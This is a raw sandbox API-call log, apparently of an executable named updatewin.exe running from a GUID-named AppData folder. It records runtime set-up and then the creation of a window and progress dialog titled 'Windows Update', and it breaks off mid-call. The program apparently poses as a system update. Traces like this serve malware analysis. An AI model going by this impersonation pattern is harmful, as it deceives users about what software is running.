0x0 [0060.335] GetLastError () returned 0x57 [0060.335] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x75a20000 [0060.337] GetProcAddress (hModule=0x75a20000, lpProcName="InitializeCriticalSectionEx") returned 0x75a34d28 [0060.337] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0060.337] GetLastError () returned 0x57 [0060.337] GetProcAddress (hModule=0x75a20000, lpProcName="FlsAlloc") returned 0x75a34f2b [0060.338] GetProcAddress (hModule=0x75a20000, lpProcName="FlsSetValue") returned 0x75a34208 [0060.339] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0060.339] GetLastError () returned 0x57 [0060.339] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0060.339] GetLastError () returned 0x57 [0060.339] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x75a20000 [0060.339] GetProcAddress (hModule=0x75a20000, lpProcName="InitializeCriticalSectionEx") returned 0x75a34d28 [0060.339] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0060.339] GetLastError () returned 0x57 [0060.340] GetProcAddress (hModule=0x75a20000, lpProcName="FlsAlloc") returned 0x75a34f2b [0060.340] GetLastError () returned 0x57 [0060.340] GetProcAddress (hModule=0x75a20000, lpProcName="FlsGetValue") returned 0x75a31252 [0060.340] GetProcAddress (hModule=0x75a20000, lpProcName="FlsSetValue") returned 0x75a34208 [0060.340] SetLastError (dwErrCode=0x57) [0060.363] GetStartupInfoW (in: lpStartupInfo=0x31fa00 | out: lpStartupInfo=0x31fa00*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\updatewin.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x10d2400, hStdOutput=0x5b82b8ca, hStdError=0xfffffffe)) [0060.363] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0060.363] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0060.363] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0060.363] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\updatewin.exe\" " [0060.363] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\updatewin.exe\" " [0060.363] GetACP () returned 0x4e4 [0060.363] IsValidCodePage (CodePage=0x4e4) returned 1 [0060.363] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x31fa20 | out: lpCPInfo=0x31fa20) returned 1 [0060.363] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x31f2e8 | out: lpCPInfo=0x31f2e8) returned 1 [0060.363] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x31f8fc, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0060.363] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x31f8fc, cbMultiByte=256, lpWideCharStr=0x31f088, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0060.363] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x31f2fc | out: lpCharType=0x31f2fc) returned 1 [0060.363] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x31f8fc, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0060.363] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x31f8fc, cbMultiByte=256, lpWideCharStr=0x31f038, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ謇čĀ") returned 256 [0060.363] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0060.363] GetLastError () returned 0x57 [0060.364] GetProcAddress (hModule=0x75a20000, lpProcName="LCMapStringEx") returned 0x75ab47f1 [0060.364] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ謇čĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0060.364] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ謇čĀ", cchSrc=256, lpDestStr=0x31ee28, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0060.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x31f7fc, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x62\x61\xbd\x5a\x38\xfa\x31", lpUsedDefaultChar=0x0) returned 256 [0060.364] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x31f8fc, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0060.364] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x31f8fc, cbMultiByte=256, lpWideCharStr=0x31f058, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0060.364] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0060.364] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x31ee48, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0060.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x31f6fc, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x62\x61\xbd\x5a\x38\xfa\x31", lpUsedDefaultChar=0x0) returned 256 [0060.364] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x10e3ba8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\updatewin.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\updatewin.exe")) returned 0x5e [0060.364] RtlInitializeSListHead (in: ListHead=0x10e3ad0 | out: ListHead=0x10e3ad0) [0060.364] GetLastError () returned 0x0 [0060.364] SetLastError (dwErrCode=0x0) [0060.364] GetEnvironmentStringsW () returned 0x336840* [0060.364] FreeEnvironmentStringsW (penv=0x336840) returned 1 [0060.365] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0060.365] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x10d2116) returned 0x0 [0060.366] GetStartupInfoW (in: lpStartupInfo=0x31fa68 | out: lpStartupInfo=0x31fa68*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\updatewin.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0060.366] InitCommonControlsEx (picce=0x31fa84) returned 1 [0060.366] LoadIconW (hInstance=0x10d0000, lpIconName=0x6b) returned 0x401ab [0060.367] LoadStringW (in: hInstance=0x10d0000, uID=0x67, lpBuffer=0x10e4378, cchBufferMax=100 | out: lpBuffer="Windows Update") returned 0xe [0060.367] LoadStringW (in: hInstance=0x10d0000, uID=0x6d, lpBuffer=0x10e42b0, cchBufferMax=100 | out: lpBuffer="WINDOWSUPDATE") returned 0xd [0060.367] LoadIconW (hInstance=0x10d0000, lpIconName=0x6b) returned 0x401ab [0060.367] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0060.367] LoadIconW (hInstance=0x10d0000, lpIconName=0x6c) returned 0x801ad [0060.368] RegisterClassExW (param_1=0x31fa30) returned 0xc135 [0060.368] GetDesktopWindow () returned 0x10010 [0060.368] MonitorFromWindow (hwnd=0x10010, dwFlags=0x2) returned 0x10001 [0060.368] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x31fa30 | out: lpmi=0x31fa30) returned 1 [0060.368] CreateWindowExW (dwExStyle=0x0, lpClassName="WINDOWSUPDATE", lpWindowName="Windows Update", dwStyle=0x0, X=1002, Y=600, nWidth=418, nHeight=240, hWndParent=0x0, hMenu=0x0, hInstance=0x10d0000, lpParam=0x0) returned 0x50120 [0060.508] NtdllDefWindowProc_W () returned 0x0 [0060.508] NtdllDefWindowProc_W () returned 0x1 [0060.511] NtdllDefWindowProc_W () returned 0x0 [0060.513] CreateDialogParamW (hInstance=0x10d0000, lpTemplateName=0x65, hWndParent=0x50120, lpDialogFunc=0x10d1360, dwInitParam=0x0) returned 0x301c2 [0060.528] NtdllDefWindowProc_W () returned 0x0 [0060.538] GetClientRect (in: hWnd=0x301c2, lpRect=0x31e878 | out: lpRect=0x31e878) returned 1 [0060.538] GetDlgItem (hDlg=0x301c2, nIDDlgItem=1000) returned 0x301bc [0060.538] MoveWindow (hWnd=0x301bc, X=295, Y=167, nWidth=95, nHeight=23, bRepaint=1) returned 1 [0060.539] GetDlgItem (hDlg=0x301c2, nIDDlgItem=1001) returned 0x301be [0060.539] MoveWindow (hWnd=0x301be, X=95, Y=134, nWidth=225, nHeight=16, bRepaint=1) returned 1 [0060.539] SendMessageW (hWnd=0x301be, Msg=0x401, wParam=0x0, lParam=0x640000) returned 0x640000 [0060.540] SendMessageW (hWnd=0x301be, Msg=0x402, wParam=0x4, lParam=0x0) returned 0x0 [0060.541] timeGetTime () returned 0x1bce8 [0060.541] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x10d1690, lpParameter=0x301c2, dwCreationFlags=0x0, lpThreadId=0x10e42a4 | out: lpThreadId=0x10e42a4*=0xa20) returned 0xa4 [0060.545] ShowWindow (hWnd=0x301c2, nCmdShow=5) returned 0 [0060.545] GetClientRect (in: 